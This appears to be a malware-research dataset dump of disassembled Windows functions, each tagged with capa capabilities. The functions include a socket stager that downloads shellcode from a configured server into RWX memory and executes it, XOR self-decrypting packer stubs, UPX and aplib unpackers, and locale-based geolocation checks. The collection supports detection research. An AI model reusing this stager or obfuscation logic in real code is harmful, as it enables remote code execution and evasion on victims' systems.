joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018f8
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x406a88
call fcn.00401c14
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x407678
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4016b9
cmp eax, esi
jne 0x4016ac
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4016bc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401693
xor esi, esi
inc esi
mov eax, dword [0x407674]
cmp eax, esi
jne 0x4016cf
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x4016fe
mov eax, dword [0x407674]
test eax, eax
jne 0x4016f8
mov dword [0x407674], esi
push 0x4020c4
push 0x4020b8
call fcn.00401602
pop ecx
pop ecx
test eax, eax
je 0x4016fe
jmp 0x401826
mov dword [0x40733c], esi
mov eax, dword [0x407674]
cmp eax, esi
jne 0x401722
push 0x4020b4
push 0x4020ac
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x407674], 2
test ebx, ebx
jne 0x40172e
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x40767c], 0
je 0x401752
push 0x40767c
call fcn.00401b44
pop ecx
test eax, eax
je 0x401752
push 0
push 2
push 0
call dword [0x40767c]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4017ae
test al, al
je 0x40176c
cmp dword [ebp - 0x1c], 0
jne 0x4017ae
mov al, byte [esi]
test al, al
je 0x40177c
cmp al, 0x20
ja 0x40177c
inc esi
mov dword [ebp - 0x20], esi
jmp 0x40176c
test byte [ebp - 0x3c], 1
je 0x401788
movzx eax, word [ebp - 0x38]
jmp 0x40178b
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x407338], eax
cmp dword [0x40732c], 0
jne 0x401802
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp al, 0x22
jne 0x4017bd
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x4017d0
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x401759
cmp dword [0x40733c], 0
jne 0x401811
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x407338]
jmp 0x401832
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00401c59
ret
call fcn.00401d43
jmp 0x401659
Function at 0x2591058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x25911a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x259107e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x259106a
add dl, dl
jne 0x2591089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x25910dc
xor eax, eax
add dl, dl
jne 0x2591096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x259117d
add dl, dl
jne 0x25910a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x25910b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x25910bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x25910c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x25910d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x2591075
mov eax, 1
add dl, dl
jne 0x25910ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x25910f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x25910e1
sub eax, ebx
mov ebx, 1
jne 0x2591128
mov ecx, 1
add dl, dl
jne 0x259110e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x2591119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2591105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2591075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x259113f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x259114a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2591136
cmp eax, 0x7d00
jae 0x259116d
cmp eax, 0x500
jb 0x2591168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2591075
cmp eax, 0x7f
ja 0x2591170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2591075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x259119e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x2591075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x450e443d
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x23626b8e
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4058dc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405942
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004041b4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402dc8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40592c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405949
lea eax, [ebp - 0x10]
call fcn.00403f44
ret

Function at 0x409bdc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409c15
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404034
jmp 0x409c1e
mov eax, ebx
mov edx, esi
call fcn.00403f98
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409c28
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409c49
mov al, byte [esp]
jmp 0x409c4b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b030
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40b094
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004041b4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00407090
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b09b
lea eax, [ebp - 0xc]
call fcn.00403f44
ret
Function at 0x413394
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
xor eax, eax
push ebp
push 0x4134ed
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
mov eax, 1
call fcn.0040297c
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.00406d04
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x413504
call fcn.0040422c
lea edx, [ebp - 0x10]
mov eax, 2
call fcn.0040297c
mov eax, dword [ebp - 0x10]
xor edx, edx
call fcn.00407090
mov ebx, eax
lea edx, [ebp - 0x14]
mov eax, 4
call fcn.0040297c
mov eax, dword [ebp - 0x14]
mov edx, 0x1c200
call fcn.00407090
mov esi, eax
mov edx, dword [ebp - 4]
mov eax, 0x413510
call fcn.00404468
dec eax
jne 0x41343e
push esi
push ebx
mov eax, dword [ebp - 4]
call fcn.004043d0
push eax
push 0x413514
call sub.commpro.dll_ZEMBPRO_INIT
add esp, 0x10
mov dword [0x415898], eax
jmp 0x4134c8
push 0
push 0
push 0x413520
push 0x413528
push 0x413530
push 0
call sub.shell32.dll_ShellExecuteA
push 0
push 0
push 0x413538
push 0x413528
push 0x413530
push 0
call sub.shell32.dll_ShellExecuteA
push 0
push 0
lea eax, [ebp - 0x18]
mov ecx, dword [ebp - 4]
mov edx, 0x413554
call fcn.0040422c
mov eax, dword [ebp - 0x18]
call fcn.004043d0
push eax
push 0x413528
push 0x413530
push 0
call sub.shell32.dll_ShellExecuteA
push 0x3e8
call sub.kernel32.dll_Sleep
push 0
push ebx
mov eax, dword [ebp - 4]
call fcn.004043d0
push eax
push 0x413558
call sub.commpro.dll_ZEMBPRO_INIT
add esp, 0x10
mov dword [0x415898], eax
cmp dword [0x415898], 0
setne bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4134f4
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00403f68
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x76437be5
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x415f0a12
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x6dc415a8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x6dc41615
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x6dc41615
mov dword [esp + 4], str.no_data
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym.123.dll_punt
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x6dc415c4
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6dc41622
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x6dc41665
mov dword [esp + 4], 0x6dc49057
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.123.dll_punt
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6dc41691
mov dword [esp + 4], 0x6dc49059
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.123.dll_punt
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov word [ebp - 0x20], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x6dc4170c
mov dword [esp + 4], 0x6dc4905c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.123.dll_punt
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x6dc41711
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call fcn.6dc418d0
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
call sym.123.dll_winsock_init
mov dword [esp], sym.123.dll_serverp
call sub.msvcrt.dll_atoi
mov dword [esp + 4], eax
mov dword [esp], sym.123.dll_server
call sym.123.dll_wsconnect
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jne 0x6dc41789
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x6dc4179c
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.error_lenght_n
mov dword [esp], eax
call sym.123.dll_punt
mov eax, dword [ebp - 0x18]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6dc417e3
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.error_in_buf_n
mov dword [esp], eax
call sym.123.dll_punt
mov eax, dword [ebp - 0x10]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.123.dll_recv_all
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x6dc419f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.6dc478f0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.6dc478f0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x6dc41a50
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x6dc4b048]
test esi, esi
jle 0x6dc41b70
mov eax, dword [0x6dc4b04c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x6dc41a84
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x6dc41b07
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x6dc41a70
mov dword [esp], ebx
call fcn.6dc421c0
mov edi, eax
test eax, eax
je 0x6dc41b97
mov eax, dword [0x6dc4b04c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.6dc422d0
mov edx, dword [0x6dc4b04c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x6dc41b77
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x6dc41b00
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x6dc41b10
add dword [0x6dc4b048], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x6dc4b04c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x6dc41b00
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.6dc419f0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x6dc41a8e
mov eax, dword [0x6dc4b04c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.6dc419f0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.6dc419f0
lea esi, [esi]
nop

Function at 0x6dc41e30
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x6dc4b058
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x6dc4b050]
sub esp, 4
test ebx, ebx
je 0x6dc41e85
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x6dc41e7e
test esi, esi
je 0x6dc41e7e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6dc41e60
mov dword [esp], 0x6dc4b058
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219

Function at 0x410370
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
jmp 0x41038a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x410391
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x410380
mov eax, 1
add ebx, ebx
jne 0x4103a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x410398
jne 0x4103b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x410398
xor ecx, ecx
sub eax, 3
jb 0x4103c8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41043a
mov ebp, eax
add ebx, ebx
jne 0x4103d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4103e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x410404
inc ecx
add ebx, ebx
jne 0x4103f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4103e5
jne 0x410401
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4103e5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x410424
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x410415
jmp 0x410386
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x410424
add edi, ecx
jmp 0x410386
pop esi
mov edi, esi
mov ecx, 0x277
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x410442
cmp byte [edi], 5
jne 0x410442
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x410447
lea edi, [esi + 0xe000]
mov eax, dword [edi]
or eax, eax
je 0x4104b6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x128f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12944]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x410474
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12948]
or eax, eax
je 0x4104b0
mov dword [ebx], eax
add ebx, 4
jmp 0x410491
call dword [esi + 0x12958]
mov ebp, dword [esi + 0x1294c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4104ea
sub esp, 0xffffff80
jmp 0x4027e0
Function at 0x434660
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ca57b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004bece0
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4346e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004bc593
mov eax, dword [eax]
push 0x508e5c
push eax
call fcn.004ade34
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004bef6b
test bl, bl
je 0x4346e2
push 0x508e5c
lea ecx, [esp + 0xc]
call fcn.004bf2fb
push 0x508e68
lea ecx, [esp + 0xc]
call fcn.004bf2fb
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x43471e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004bef6b
jmp 0x4347e9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4347a2
lea edx, [esp + 0x7c]
push 0x508e64
push edx
call fcn.004ade34
add esp, 8
test eax, eax
je 0x4347a2
lea eax, [esp + 0x7c]
push 0x508e60
push eax
call fcn.004ade34
add esp, 8
test eax, eax
je 0x4347a2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x434732
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004bef6b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x434fe0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x435042
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
